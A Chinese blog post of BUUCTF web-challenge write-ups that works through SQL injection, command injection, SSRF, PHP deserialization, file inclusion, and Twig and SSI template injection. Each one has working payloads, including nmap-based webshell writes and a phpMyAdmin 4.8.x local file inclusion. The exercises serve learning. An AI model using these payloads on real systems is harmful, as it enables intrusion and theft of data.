记录BUUCTF的web题
目录
ZJCTF,不过如此(php伪协议,文件包含,远程代码执行)
Easy Calc(rce)
(命令执行还蛮多的,虽然学完了命令执行但是还是狠狠地涨知识了)
打开一看是简单计算器,随便输入看看
发现字母输入不了,查看源码
发现是在calc.php里面计算的,而且提示说存在Waf
如果传入字母和一些其它字符,就会显示Forbidden。
403Forbidden是HTTP协议中的一个状态码(Status Code)。可以简单的理解为没有权限访问此站。
该状态表示服务器理解了本次请求但是拒绝执行该任务
可知这就是WAF
这些字母应该就是Waf过滤的,访问calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');// 存在高危漏洞,可以上传非法字符
}
?>
这个代码是黑名单限制,传参了之后会进行一个正则过滤,如果符合规则会执行eval()。(还没有完全看懂这个代码,搞懂了再补后续)
绕waf
php的解析规则
我们知道PHP将查询字符串(在URL或正文中)转换为内部关联数组$_GET或关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”). 值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替
php需要将所有参数转换为有效的变量名,因此在解析查询字符串的时候,它会做两件事:
①删除前后的空白符(空格符,制表符,换行符等统称空白符)
②将某些字符转换为下划线(包括空格)
‘num’被限制了,那么' num'呢,在num前面加了空格,这样waf就找不到num这个变量了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把' num'前面的空格去掉再解析,利用这点进行绕过Waf来上传非法字符。
因为本题涉及过滤,所以我们查看一下禁用的函数(disable_functions)发现system()等好多PHP执行系统外部命令函数都被禁用。
首先我们要先扫根目录下的所有文件,也就是可以用 scandir("/")
,但是 "/"
被php代码过滤了,所以我们用chr(47)绕过
构造
? num=var_dump(scandir(chr(47))
发现flagg文件
然后读取该文件就好啦(本题并没有过滤掉f1agg 所以可以不用chr()函数)
os:刚开始我传参是这样的:
? num=scandir(chr(47))
发现没有回显,查了一下才知道,因为回显的是数组形式,php是不会直接输出的,所以要借用var_dump或者print_r . 这两个函数都可以数组和对象打印出来
用file_get_contents()函数来代替system()
构造:
? num=var_dump(file_get_contents(chr(47).f1agg))
得到flag
文章参考:Buuctf(Easy Calc 1)_小小大空翼的博客-CSDN博客
PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec()_lxw1844912514的博客-CSDN博客
CheckIn
有空再更这道题
BackupFile(sql)
提交1,正常回显
提交2,回显为2,可以判断为字符型注入
输入select看看是否有回显
可以看到并没有限制到关键字show
先查询库名
1';show databases;#
继续获取表名
1';show tables;
得到了两个表,查询FlagHere
1';desc FlagHere;
查询FlagHere表的flag列,因为select被过滤了,可以通过使用HANDLER进行查询
参考:
相关语法:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
//其中 HANDLER tbl_name OPEN AS example
//其后 HANDLER example READ index_name="example2"
构造payload
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#
成功得到flag
Easy MD5
打开题目,尝试sql注入没反应
直接上burp,
可以看到 header 里面有 hint
后台确实执行了我们的查询,但是在通过where时,条件不匹配,导致报错
需要password=md5($pass,true)条件为真时,才会执行select * form admin
md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是' or '6
所以输入ffifdyop后,内部执行语句就会变为
select * from 'admin' where password='or '6�]��!r,��b'
但是为什么偏偏当password='or'6�]��!r,��b'时,会判断为真呢?在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=' or '1xxxx',那么就相当于password=' or 1,所以返回值就是true
那么select查询语句就简化为
select * from 'admin' where password=' or 6
这样就可以绕过md5函数
按照回显访问levels91.php
查看源码,是md5弱比较 ,为0e开头的会被识别为科学记数法,结果均为0
直接网上找两个数传参
md5强比较,直接用数组绕过即可,md5()函数无法解出数值,就会得到===强比较的值相等
Online Tool(rce)
打开题目,又是代码审计捏
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
remote_addr和x_forwarded_for这两个是见的比较多的,服务器获取ip用的,这里没什么用
escapeshellarg()和escapeshellcmd() 没怎么见过,网上找找资料说这两个放在一起用会有问题
(具体的绕过参考师傅博客:传送门)
1)传入的参数是:172.17.0.2' -v -d a=1
2)经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3)经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
4)最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
大概来说就是两次转译后出现了问题,没有考虑到单引号的问题
往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
这有个system来执行命令,而且有传参,应该就是利用这里了
nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
所以构造payload:
?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '
这里有个需要注意的:
最后面要加引号且引号前面要空格
如果不加,当两个函数执行并echo出来后就会变成:<?php eval($_POST["shell"]);?> -oG shell.php\\,转义出来的反斜杠会和php后缀连在一起,会上传失败
得到文件名,上蚁剑连接,在根目录下找到flag。
或者直接构造payload:单引号被转义过滤了,可以使用反引号来进行绕过
?host=' <?php echo `cat /flag`;?> -oG shell.php '
直接访问shell.php
Fakebook(ssrf+sql)
真是正在学什么准备学什么就写到什么题
打开题目,是一个登录,注册界面,那就试注册个账户
注册成功,但是发现没有办法回访之前的界面了,那就直接转登录界面login.php
查看源代码,有传参,有疑点,极其可能存在sql注入
直接访问view.php?no=1
手动注入试试看
确实存在sql注入,爆字段,试到5的时候报错那么字段数就是4了
那么下面可以用union注入查询(刚开始试的是报错注入,布尔注入也行但是我还不会写脚本又不想网上一把找脚本又懒得看sqlmap)刚开始以为是过滤关键字,大小写双写绕过都不行,最后发现是有waf(巧得很,最近刚要学waf),那么用内敛注释符进行绕过(过滤了空格)
接下来就简单多了
(插个报错注入,嫌弃后面调数麻烦就放弃了)
union注入
爆数据库
?no=-1 union/**/select 1,database(),3,4--+
爆表
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
爆字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
爆 no,username.passwd,data(各字段内容用'|'来分隔了,不然一大堆看着也难受)
?no=-1 union/**/select 1,group_concat(no,'|',username,'|',passwd,'|',data),3,4 from users--+
看到这个data的内容是序列化数据??不太对劲,难道还有反序列化???应该是还有其他的切入点没有发现,再回去进行一波信息收集,查看robots.txt
发现有备份文件,访问直接下载,是源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
?>
分析一下:
1)注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag
2)这个一看的话就合理解释了之前的url传参sql注入
function get($url)
{
$ch = curl_init(); //创建一个curl资源
//设置curl和相关的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch); //抓取url并传给浏览器
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); //关闭curl资源
return $output;
}
//就是看url
3)从上面知道get()函数存在ssrf漏洞,如图,get()函数在此调用,而$blog又是我们可控的
public function getBlogContents ()
{
return $this->get($this->blog);
}
4)那为什么会有序列化?我想应该是在我们注册后,把我们的信息序列化一下,然后存进data。在user界面,取出blog,获取资源。
那就很简单了,下面就将file:///var/www/html/flag.php加入到我们的序列化数据里面
(直接拿源码改辽)
<?php
class UserInfo{
public $name = "";
public $age = 0;
public $blog ="";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
$a=new UserInfo(naruku,16,'file:///var/www/html/flag.php');
echo serialize($a);
?>
得到
O:8:"UserInfo":3:{s:4:"name";s:6:"naruku";s:3:"age";i:16;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
配合sql注入传参:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"naruku";s:3:"age";i:16;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
成功绕过
查看源码
我的直接点得到flag了
The mystery of ip(rce+ssti)
点开flag模块
看源码,在hint中看到这句话,自然而然想到x-forwarded-for
抓包构造x-forwarded-for,发现IP会根据x-forwarded-for的设定而变化
刚开始想会不会是sql注入,但是以后排除这种可能,料想可能是ssti+rce
可以看到命令被执行了,那就简单辽
ZJCTF,不过如此(php伪协议,文件包含,远程代码执行)
打开题目,代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
看到include想到了文件包含并且提示了next.php,那就利用PHP伪协议来读取这个文件
php://input
作用:执行POST数据中的Php代码
构造paload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
POST:
I have a dream
得到一堆base64,解码得
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
代码审计,分析以下可利用的点
利用点一:
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
这里preg_replace使用了/e模式,导致可以代码执行。而且该函数的第一个和第三个参数我们是可以控制的。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(第二个参数)当做代码来执行,但是这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串。上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。所以这里的 \1 实际上指定的是第一个子匹配项
构造payload:
/?.*={${phpinfo()}}
即以GET方式传入的参数名为/?.*,值为phpinfo()。
原先的语句:
preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
语句就变成了:
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
但是如果我们用get的方式传参?.*={${phpinfo()}},就会发现无法执行phpinfo()函数,这是由于在PHP中,对于传入的非法的$_GET数组参数名,会将其转化为下划线,则会就导致了正则匹配失效。所以要做的就是换一个正则表达式,让其匹配到{${phpinfo()}}即可执行phpinfo函数。这里可以构造payload: \S*=${phpinfo()}执行,便可得到phpinfo页面。(\S匹配任何非空白字符)
根据题意,我们可以构造payload:(通过preg_match远程代码执行来调用getFlag()函数)
\S*=${getFlag()}
利用点二:
function getFlag(){
@eval($_GET['cmd']);
}
直接构造payload:
cmd=system('cat /flag')
那么总的payload就是
next.php?
\S*=${getFlag()}&cmd=system(' cat /flag');
我有一个数据库(文件包含)
打开,乱码,看源码没什么信息,看看rotbots.txt
访问phpinfo.php看看
题目说我有一个数据库,扫一下后台看看还有什么信息吗
扫后台扫到/phpadmin
(用御剑扫后台,但是扫不到什么,那就只能有dirsearch来
扫描后台了)
访问:
http://42751f04-7dee-4693-aac7-26b8aa5cb46e.node4.buuoj.cn:81/phpmyadmin/
查看phpadmin后台管理版本
在phpMyadmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成 本地文件包含漏洞。
之前复现过phpadmin文件包含漏洞(传送门),直接构造payload:
/?target=db_sql.php%3f/../../../../../../../../flag
Mark loves cat (变量覆盖)
打开题目,找了一下没什么发现,直接扫目录,可以知道有.git源码泄露,但是发现Githack可以扫除两个Php文件,但是却没有办法下载下来,直接在网上找这两个文件了
flag.php
<?php
$flag = file_get_contents('/flag');
?>
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
分析:
前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。
首先我们想到的肯定是让脚本执行到最后一句echo $flag;,但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成$flag = $aaa,而$aaa变量没有定义为空,最后的输出就是空同理:我们
POST
传参flag=aaa,在第一个foreach语句中变成$flag
= aaa,flag被覆盖为‘aaa’,最后输出aaa
解法一:利用exit($yds)
exit($yds)的执行条件是:post,get都不传参flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
进行get传参?yds=flag
get传参进入第二个foreach,这时$x=yds,$y=flag,所以$$x=$yds,$y=$flag,$yds=$flag。
解法二:利用exit($is)
exit($is)的执行条件:
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
get传参?is=flag&flag=flag(和解法一同理,flag=flag是为了符合执行条件)
还有其他的解法,有空再补充
easy_web 1
打开题目,好家伙嘲讽一波
看一下源码
应该是和md5有关,返回页面可以就看到url有点蹊跷
?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
base64解密一下,发现是两次base64解密得到一串十六进制数字,再解密,得到555.png
那就是说这里应该是个突破口(cmd应该也是突破口),那么先试试index.php,加密后得到字符串:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
构造payload:
?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
得到回显,base64解密得到Index.php的源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
可以看到cmd过滤了很多关键字(有点奇怪这道题没有回显,等搞清楚再来补充)
Had a bad day(文件包含)
打开题目,随便点点
url有疑点,怀疑是sql或者文件包含
这样的话就只可能是文件包含了,试着利用文件包含读取去index.php源码
构造payload:
?category=php://filter/convert.base64-encode/resource=index
得到base64码,解码:
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
分析了一下,大概就是说入的category
需要有woofers或
meowers或
index
才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php
构造payload:
?category=php://filter/read=convert.base64-encode/resource=index/../flag
因为相对路径是计算出来的,中间目录如果不存在也没关系
得到base64码,解码得:
高明的黑客
下载压缩包,里面基本上都是php文件,超多,这道题考写脚本的能力,刚好学了python 先试试能不能理解,先从简单的开始
搞懂再更
Web1
打开题目,是一个登录界面,那么注册一个用户,进入之后没什么提示,但有一个申请上传广告的界面
url有疑,申请广告这个页面怀疑有sql注入,找找注入点
判断就是标题处头注入点并且过滤了注释符和空格,那就用内敛注释符来代替空格进行绕过,用单引号进行闭合。
试到22成功,2和3是回显点
爆库:
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
爆表:
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.tables/**/where/**/table_schema=database()'
又过滤了,试了大小写和双写都没有办法进行绕过,那就是没有办法使用information_schema这张表了。
发现还有其他表如mysql.innodb_table_stats和sys.schema_table_statistics_with_buffer可以看表名、数据库名,就是没有列名。
这里要用到无列名注入(没遇到过,涨知识)
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
无列名注入:具体参考:传送门
假设有tableX
user | password |
admin1 | 1234 |
admin2 | 5678 |
我们输入查询语句:
select 1,2 union select * from tableX;
1 | 2 |
admin1 | 1234 |
admin2 | 5678 |
他会生成一个1,2, 再提取tableX的内容来临时生成一张新表,却不会提取tableX的列名。在这张新表中,我们用的这个数字边如同替换了列名。我们便可用这个2
在这张临时的表中指定想要查看的列名。
select `2` from (select 1,2 union select * from tableX)a;
这句话的意思是,使用括号内的select语句构建一张新表a,然后从a中选取列名为‘2’的列,即原来的passwd列。至此,我们便完成了无列名注入。(如果反引号 ` 被过滤,我们可以使用别名替代。)
select b from (select 1,2 as b union select * from tableX)a;
所以查询表中内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查询表内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/web1.users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这里为什么是三列呢,因为users表一般为id,username,password三列,而flag一般在username或者password
朴实无华(代码审计,rce)
打开题目,乱码
一上来就叫我hack它?这我也得找找切入点吧,之前也是大概做了到乱码的题目加上题目有bot,直接查看rotbots.txt
访问一下
耍人?想到之前题目有个报错说什么header,直接上Bp看看
真的藏了个fl4g.php,直接访问,得到源码(旦总我不想被安排去非洲呐)
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
level1:为了不被安排去非洲,只能勇闯三关了
传入一个参数num,经过intval函数既要小于2020并且加一要大于2021,看一下这个函数
这个函数在用科学计数法的时候,只会保留前面的1
构造payload:
?num=1e10
哦豁第一关闯关成功
level2:来个拿手小菜
直接网上一把找get传参的值和md5加密后的值相等的数值,即0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
构造payload:
?num=1e10&md5=0e215962017
马上逃离非洲!!
level3:
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
可以看到过滤了cat和空格,都好绕过,先看看当前目录有什么文件
传参:
?num=1e10&md5=0e215962017&get_flag=ls
知道flag是哪个文件啦,那就简单啦
cat 用 ca\t 绕过,空格用${IFS}来绕过,传参:
?num=1e10&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag,成功逃过被安排去非洲的命运!!!
Cookie is so stable
打开题目,题目说是cookie微妙,hint.php源码也在暗示cookie,抓包看看,刚开始觉得会不会是cookie注入攻击,但是尝试无果
卡住了,看来其他师傅的wp,好家伙,我还真没有学到,又来涨知识。
解题过程:
抓包,发现cookie里面有user,确定是ssti模板注入。下面来判断是哪一个模块
判断其模板引擎类型方法:
在cookie的user处输入{{7*7}}来进行判断
返回49(返回7777777表示是 Jinja2 模块),说明是Twig模板引擎
确定后直接在网上找个合适的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
Nmap
刚开始以为是rce,直接试: 127.0.0.1 | ls
发现 ' | '被转义了,试试其他的管道符,发现都被办了,没什么思路,看来其他师傅的wp,说是要利用nmap写入一句话木马,想起之前做的Online Tool也是利用这个来getshell,呜呜呜脑子笨没有联想到,改天回去归纳总计一下,知道这个解题思路就很简单了
127.0.0.1 | ' <?= @eval($_POST["shell"]);?> -oG hack.php '
进行绕过
127.0.0.1 | ' <?= @eval($_POST["shell"]);?> -oG hack.phtml '
phtml后要有空格,不然上传的文件会变成下面的样子
查看扫描列表:
点进访问hack.phtml文件
连接蚁剑,在根目录下找到flag即可
PYWebsite
打开题目,说是要购买flag,f12查看一下源码
发现有个flag.php,访问一下看看
看到说保存了IP验证,那就联想到了X-Forward-For,直接抓包构造X-Forwarded-For: 127.0.0.1
得到flag.php
EasySearch
又是登录界面,试了试登录,失败辽,那就常规扫后台
扫出个index.php.swp备份,访问看源码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
分析一下:
1)首先要求password的md5值的前6个字符为6d0bc1。
跑个脚本
2)
$file_shtml = "public/".get_hash().".shtml";
# 创建文件
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
#
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
# 将 变量$text 的内容 写入 $shtml 文件
fwrite($shtml,$text);
# 关闭文件
fclose($shtml);
解题过程:
post传参:
username=123&password=2020666
直接F12看相应头
访问,另外可以注意到这是个shtml。简单来说就是能根据命令动态回显网页的某个部分,比如时间。可以注入,用来远程命令执行。Hello,'.$_POST['username'].'是可以作为注入点来进行输出我们想要的信息
格式为:
<!--#exec cmd="命令"-->
常规查看目录
username=<!--#exec cmd="ls"-->&password=2020666
没明显的flag目录,查看上级目录
username=<!--#exec cmd="ls .."-->&password=2020666
直接读取(因为flag文件是上一个目录的,所以 ../ 要保留)
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
得到flag
NiZhuanSiWei(反序列化,PHP伪协议)
打开题目,代码审计
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
题目提示useless.php,先读取一下这个文件的源码
构造payload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&password=123
POST传:welcome to the zjctf
得到一堆base64码,解码得到:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
可以看到关键利用file_get_contents,但是前面的file已经过滤掉了flag.php传参。
那么这道题主要是利用到了魔术方法__tostring(在实例化并打印一个对象的时候 是需要__tostring这个函数的 或者说__tostring是会自动调用的)
那就很好理解了,先文件包含Useless.php文件,再利用password反序列化,我们在反序列化password的时候 在后端这个__tostring是会在反序列化的同时被调用的 而我们就可以利用里面的file_get_contents来拿到flag
exp:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
得到:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造payload:
?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST传:welcome to the zjctf
查看源码,得到flag.
RCE ME
打开题目,简单的代码审计,一眼rce
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
又是涨知识的一道题
首先普通的命令执行肯定是不能绕过正则匹配了,可以使用异或来进行绕过
先查看phpinfo();
